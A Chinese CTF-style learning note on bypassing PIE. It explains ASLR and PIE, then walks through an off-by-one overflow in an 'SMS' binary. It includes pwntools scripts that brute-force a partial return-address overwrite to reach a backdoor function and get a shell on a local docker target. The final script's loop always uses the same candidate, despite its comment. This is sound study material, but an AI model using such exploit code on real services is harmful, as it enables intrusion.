linux漏洞分析入门笔记-bypass_PIE
ubuntu 16.04
IDA 7.0
docker
0x00:漏洞分析
1.ASLR的是操作系统的功能选项,作用于executable(ELF)装入内存运行时,因而只能随机化stack、heap、libraries的基址;而PIE(Position Independent Executables)是编译器(gcc,..)功能选项(-fPIE),作用于excutable编译过程,可将其理解为特殊的PIC(so专用,Position Independent Code),加了PIE选项编译出来的ELF用file命令查看会显示其为so,其随机化了ELF装载内存的基址(代码段、plt、got、data等共同的基址)。
ASLR早于PIE出现,所以有return-to-plt、got hijack、stack-pivot(bypass stack ransomize)等绕过ASLR的技术;而在ASLR+PIE之后,这些bypass技术就都失效了,只能借助其他的信息泄露漏洞泄露基址(常用libc基址)。
ASLR有0/1/2三种级别,其中0表示ASLR未开启,1表示随机化stack、libraries,2还会随机化heap。
2.查看目标程序属性与动态分析漏洞成因。
图1
图1中可以看到程序开启了PIE保护,每次加载的基址是不一样的,PIE的应用给使用ROP技术造成了很大的难度。
通过IDA动态调试目标程发现漏洞产生是如下地方:
图2
程序执行过程中在dosms函数中调用了set_user与set_sms函数,set_user读取最大长度为128字符的username,最后一字节做了set_sms中strncpy的大小,修改最后一个字节构长时造成溢出。
1.简单写一个rop来测试。
#! /usr/bin/python from pwn import * import pdb context.log_level = 'debug' target = process('./SMS') elf=ELF('./SMS') pdb.set_trace() #poc target.recv() rop='A'*40# rop+='\xca'# size target.sendline(rop) target.recv() rop+='B'*159# #rop+='\x01\xC9'# pass pie rop+='C'*8#ret address target.sendline(rop) target.recv() target.interactive()
图3
如图3所示返回地址被CCCCCCCC覆盖了,由于这个程序开启了PIE保护,我们不能确定frontdoor的具体地址,因此没办法直接通过溢出来跳转到frontdoor(),也不能通过got表来实现rop了。
0x01:爆破绕过PIE
1.libc每次加载基址会发生变化是ASLR。开启了PIE后的地址,和libc加载时一样,都是在一个内存页的单位上进行变化,即地址的低三位(4KB=0x1000)是不变化的,所以我们可以通过溢出只覆盖已有地址的低三位,(某条指令的后12位,3个十六进制数的地址是始终不变的。因此通过覆盖EIP的后8或16位)如果在最后一字节0-0xff空间内有可用的rop也可以只覆盖低两位也就是一个字节来控制流程,不过这样的机率太小了。
2.对比下发现每次随机的其实只有一个位是变化的,所以最多尝试16次就能成功爆破。
图5
图5
我们直接将返回地址修改成后门的地址。
图6
3.最终的poc如下:
#! /usr/bin/python #coding:utf-8 from pwn import * import pdb context.log_level = 'debug' elf=ELF('./SMS') pdb.set_trace() patcharr = ['\x01\x09','\x01\x19','\x01\x29','\x01\x39','\x01\x49','\x01\x59','\x01\x69','\x01\x79','\x01\x89','\x01\x99','\x01\xA9','\x01\xB9','\x01\xC9','\x01\xD9','\x01\xE9','\x01\xF9'] i = 0 while True: print i io = remote("172.17.0.2", 10001) io.recv() payload = 'A'*40 #padding payload += '\xca' #size io.sendline(payload) io.recv() payload = 'B'*200 #padding payload += patcharr[6] # i frontdoor最多尝试16次 io.sendline(payload) io.recv() i += 1 try: io.recv(timeout = 1) except EOFError: io.close() print 'error......' continue else: sleep(0.1) print 'succ......' io.sendline('/bin/sh\x00') sleep(0.1) io.interactive() break
最后成功获得shell:
图7
0x02:总结
1.本是想通过修改最后一个字节来执行rop泄露内存地址,但是没有在0x00-0xFF内存空间中找到适合的rop。